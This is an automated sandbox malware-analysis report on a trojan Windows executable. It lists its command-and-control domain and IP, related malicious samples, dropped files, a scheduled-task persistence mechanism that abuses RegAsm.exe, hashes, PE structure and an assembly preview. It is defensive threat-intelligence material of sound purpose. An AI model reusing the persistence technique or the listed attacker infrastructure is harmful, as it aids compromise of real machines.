Name	Malicious	Antivirus Detection	Reputation
bnow.duckdns.org	true	Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.169.69.26	bnow.duckdns.org	United States		23033	WOWUS	true

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	384465
Start date:	09.04.2021
Start time:	09:11:12
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 7m 10s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/5@25/1
EGA Information:	Failed
HDC Information:	Failed
HCA Information:	Successful, ratio: 71% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. TCP Packets have been reduced to 100 Exclude process from analysis (whitelisted): taskhostw.exe, wermgr.exe, UsoClient.exe Excluded IPs from analysis (whitelisted): 52.147.198.201, 104.42.151.234, 13.64.90.137, 40.88.32.150, 23.0.174.200, 23.0.174.185, 13.88.21.125, 52.255.188.83 Excluded domains from analysis (whitelisted): au.download.windowsupdate.com.edgesuite.net, skypedataprdcolwus17.cloudapp.net, ctldl.windowsupdate.com, a767.dscg3.akamai.net, skypedataprdcoleus16.cloudapp.net, skypedataprdcoleus15.cloudapp.net, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, watson.telemetry.microsoft.com, skypedataprdcolwus16.cloudapp.net, au-bg-shim.trafficmanager.net, skypedataprdcolwus15.cloudapp.net Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtAllocateVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:12:08	Task Scheduler	Run new task: DHCP Monitor path: "C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe" s>$(Arg0)
09:12:08	API Interceptor	1039x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
192.169.69.26	MglhrJiLUL.exe	Get hash	malicious	Browse	195.245.112.115/index.php
	On35KJkYT4.exe	Get hash	malicious	Browse	195.245.112.115/index.php
	Order_List.xlsx	Get hash	malicious	Browse	dubaisupport.duckdns.org/file.exe

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
WOWUS	qnJXJsqt1M.exe	Get hash	malicious	Browse	192.169.69.26
	1RkccAiQMy.exe	Get hash	malicious	Browse	192.169.69.25
	NaHU7wO2Wf.exe	Get hash	malicious	Browse	192.169.69.25
	hQtNCi8128.exe	Get hash	malicious	Browse	192.169.69.25
	FB11.exe	Get hash	malicious	Browse	216.244.74.42
	CDFCB9455FC457AC23BE82004BDCF4120E3C8D6FD2918.exe	Get hash	malicious	Browse	192.169.69.25
	EUjk8F87b8.exe	Get hash	malicious	Browse	192.169.69.25
	MglhrJiLUL.exe	Get hash	malicious	Browse	192.169.69.26
	On35KJkYT4.exe	Get hash	malicious	Browse	192.169.69.26
	ORDER-0319.pdf.exe	Get hash	malicious	Browse	192.169.69.25
	ORDER-21031566AF.exe	Get hash	malicious	Browse	192.169.69.25
	ttmPnejtED.js	Get hash	malicious	Browse	192.169.69.25
	3Ad4ZKWT0L.exe	Get hash	malicious	Browse	192.169.69.25
	EbJIveZLAv.exe	Get hash	malicious	Browse	192.169.69.26
	Order_List.xlsx	Get hash	malicious	Browse	192.169.69.26
	payload3.exe	Get hash	malicious	Browse	192.169.69.25
	ORDER-02108 xls.exe	Get hash	malicious	Browse	192.169.69.25
	ORDER #0206.exe	Get hash	malicious	Browse	192.169.69.25
	mensaje 2201 012021 PPK_8747.doc	Get hash	malicious	Browse	207.244.148.124
	New Order.exe	Get hash	malicious	Browse	172.93.222.169

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\RegAsm.exe.log Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	20
Entropy (8bit):	3.6841837197791887
Encrypted:	false
SSDEEP:	3:QHXMKas:Q3Las
MD5:	B3AC9D09E3A47D5FD00C37E075A70ECB
SHA1:	AD14E6D0E07B00BD10D77A06D68841B20675680B
SHA-256:	7A23C6E7CCD8811ECDF038D3A89D5C7D68ED37324BAE2D4954125D9128FA9432
SHA-512:	09B609EE1061205AA45B3C954EFC6C1A03C8FD6B3011FF88CF2C060E19B1D7FD51EE0CB9D02A39310125F3A66AA0146261BDEE3D804F472034DF711BC942E316
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..

C:\Users\user\AppData\Local\Temp\tmp7A01.tmp Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1319
Entropy (8bit):	5.133606110275315
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0mne5xtn:cbk4oL600QydbQxIYODOLedq3Ze5j
MD5:	C6F0625BF4C1CDFB699980C9243D3B22
SHA1:	43DE1FE580576935516327F17B5DA0C656C72851
SHA-256:	8DFC4E937F0B2374E3CED25FCE344B0731CF44B8854625B318D50ECE2DA8F576
SHA-512:	9EF2DBD4142AD0E1E6006929376ECB8011E7FFC801EE2101E906787D70325AD82752DF65839DE9972391FA52E1E5974EC1A5C7465A88AA56257633EBB7D70969
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\run.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	8
Entropy (8bit):	3.0
Encrypted:	false
SSDEEP:	3:f9t:fP
MD5:	4AF81B73E9D2316FEAD992BFE525EFB2
SHA1:	00EC406A83CD7BC23BD4C63D8E6841500C98D9AE
SHA-256:	22E1ECAB57E9C297F3056183201008C87CEB7C1D9F7A2FB1C0F0C74904AC662E
SHA-512:	447CF59F918B6BE3E2D959DDFE3C19BF75CA3CA2B6180C094036F7EFE6D6582F7547F91F7700DCD0AC279E18CD07A1FB00C21CFCDBD37CC70CFDCEBD44E230B0
Malicious:	true
Reputation:	low
Preview:	.Ff.&..H

C:\Users\user\AppData\Roaming\D06ED635-68F6-4E9A-955C-4899F5F57B9A\task.dat Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	56
Entropy (8bit):	4.787365359936823
Encrypted:	false
SSDEEP:	3:oMty8WbSXgL4A:oMLWuQL4A
MD5:	EFD1636CFC3CC38FD7BABAE5CAC9EDE0
SHA1:	4D7D378ABEB682EEFBD039930C0EA996FBF54178
SHA-256:	F827D5B11C1EB3902D601C3E0B59BA32FE11C0B573FBF22FB2AF86BFD4651BBA
SHA-512:	69B2B0AB1A6E13395EF52DCB903B8E17D842E6D0D44F801FF2659CFD5EC343C8CC57928B02961FC7099AD43FF05633BAF5AC39042A00C8676D4FA8F6F8C2A5D7
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

\Device\ConDrv Download File
Process:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	236
Entropy (8bit):	4.932081504780073
Encrypted:	false
SSDEEP:	3:RGXKRjN3Mxm8fWWD2XBQFwuSaKwDDxRZjmKXVM8xUvAkIDaMAfFAqmV/l7pgechG:zx3M7J4BYRZBXVwLL0dxKaRFfnYJin
MD5:	3140AF53A08CE269E95F15F02653B5CA
SHA1:	1248AB171A7006A8972B07C8128E346C4E3C1E4E
SHA-256:	041D7B8A2F516085263D3022FCD2B716AD212FE564DC2CB5AC5D7E128BEAA257
SHA-512:	BB4DFF011D831D8CD6BA923E440B5B4C2A41BA118BA3D73AF0CC866C2FAD23003ACA86C27691E8CF9F37CA336A329D4B8683CFB70E3BF4BD8A5C5421E4DF62D3
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	Microsoft (R) .NET Framework Assembly Registration Utility 2.0.50727.8922..Copyright (C) Microsoft Corporation 1998-2004. All rights reserved.....RegAsm : error RA0000 : Unable to locate input assembly '0' or one of its dependencies...

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.5843026234989885
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	A4816D4FECD6D2806D5B105C3AAB55F4A1EB5DEB3B126.exe
File size:	1414144
MD5:	2c59e3c9ac546660688aecd2202c4713
SHA1:	b77627430c292633e0776ac24e9002ee686965e8
SHA256:	a4816d4fecd6d2806d5b105c3aab55f4a1eb5deb3b126f317093a4dc4aab88a1
SHA512:	a054dead3369b6141f4303e91eaf926f797d59768539b82b43eec1b89b18bea99d00a43bb2831b1833ba6bc392c582a47db894fc3a13463140cd70e5055bd3f9
SSDEEP:	24576:Yu6Jx3O0c+JY5UZ+XC0kGso/Wa54WtlTk9S0DWY:SI0c++OCvkGsUWa5BnY
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	eacece96d6dae8f0

Static PE Info

General
Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	32BIT_MACHINE, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	TERMINAL_SERVER_AWARE, DYNAMIC_BASE
Time Stamp:	0x5C17B6A9 [Mon Dec 17 14:46:01 2018 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007F8860A15C0Ah
jmp 00007F8860A089D4h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007F8860A08B5Ah
cmp edi, eax
jc 00007F8860A08EBEh
bt dword ptr [004C31FCh], 01h
jnc 00007F8860A08B59h
rep movsb
jmp 00007F8860A08E6Ch
cmp ecx, 00000080h
jc 00007F8860A08D24h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007F8860A08B60h
bt dword ptr [004BE324h], 01h
jc 00007F8860A09030h
bt dword ptr [004C31FCh], 00000000h
jnc 00007F8860A08CFDh
test edi, 00000003h
jne 00007F8860A08D0Eh
test esi, 00000003h
jne 00007F8860A08CEDh
bt edi, 02h
jnc 00007F8860A08B5Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007F8860A08B63h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007F8860A08BB5h
bt esi, 03h
jnc 00007F8860A08C08h

Rich Headers

Programming Language:

[ASM] VS2013 UPD4 build 31101
[ C ] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[LNK] VS2013 UPD4 build 31101
[C++] VS2013 build 21005
[ASM] VS2013 build 21005
[RES] VS2013 build 21005
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x90ad0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x158000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	False	0.572867910242	data	6.67612568355	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	False	0.335344681572	data	5.76010402776	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	False	0.10175304878	data	1.1987458977	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0xc7000	0x90ad0	0x90c00	False	0.525960708117	data	5.40565223304	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x158000	0x711c	0x7200	False	0.765076754386	data	6.77903165045	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0xc75f4	0x468	GLS_BINARY_LSB_FIRST
RT_ICON	0xc7a5c	0x128	GLS_BINARY_LSB_FIRST	English	Great Britain
RT_ICON	0xc7b84	0x988	data
RT_ICON	0xc850c	0x2e8	data	English	Great Britain
RT_ICON	0xc87f4	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 752474315, next used block 14342347
RT_ICON	0xc989c	0x128	GLS_BINARY_LSB_FIRST	English	Great Britain
RT_ICON	0xc99c4	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0xcbf6c	0xea8	data	English	Great Britain
RT_ICON	0xcce14	0x10828	data
RT_ICON	0xdd63c	0x8a8	dBase III DBT, version number 0, next free block index 40	English	Great Britain
RT_ICON	0xddee4	0x568	GLS_BINARY_LSB_FIRST	English	Great Britain
RT_ICON	0xde44c	0x25a8	dBase III DBT, version number 0, next free block index 40	English	Great Britain
RT_ICON	0xe09f4	0x10a8	data	English	Great Britain
RT_ICON	0xe1a9c	0x468	GLS_BINARY_LSB_FIRST	English	Great Britain
RT_STRING	0xe1f04	0x594	data	English	Great Britain
RT_STRING	0xe2498	0x68a	data	English	Great Britain
RT_STRING	0xe2b24	0x490	data	English	Great Britain
RT_STRING	0xe2fb4	0x5fc	data	English	Great Britain
RT_STRING	0xe35b0	0x65c	data	English	Great Britain
RT_STRING	0xe3c0c	0x466	data	English	Great Britain
RT_STRING	0xe4074	0x158	data	English	Great Britain
RT_FONT	0xe41cc	0x32c11	ASCII text, with very long lines, with no line terminators	English	Great Britain
RT_FONT	0x116de0	0x32c11	ASCII text, with very long lines, with no line terminators	English	Great Britain
RT_RCDATA	0x1499f4	0xdb38	data
RT_GROUP_ICON	0x15752c	0x4c	data
RT_GROUP_ICON	0x157578	0x76	data	English	Great Britain
RT_GROUP_ICON	0x1575f0	0x14	data	English	Great Britain
RT_VERSION	0x157604	0xdc	data	English	Great Britain
RT_MANIFEST	0x1576e0	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Version Infos

Description	Data
Translation	0x0809 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Static AutoIT Info

General

Code:

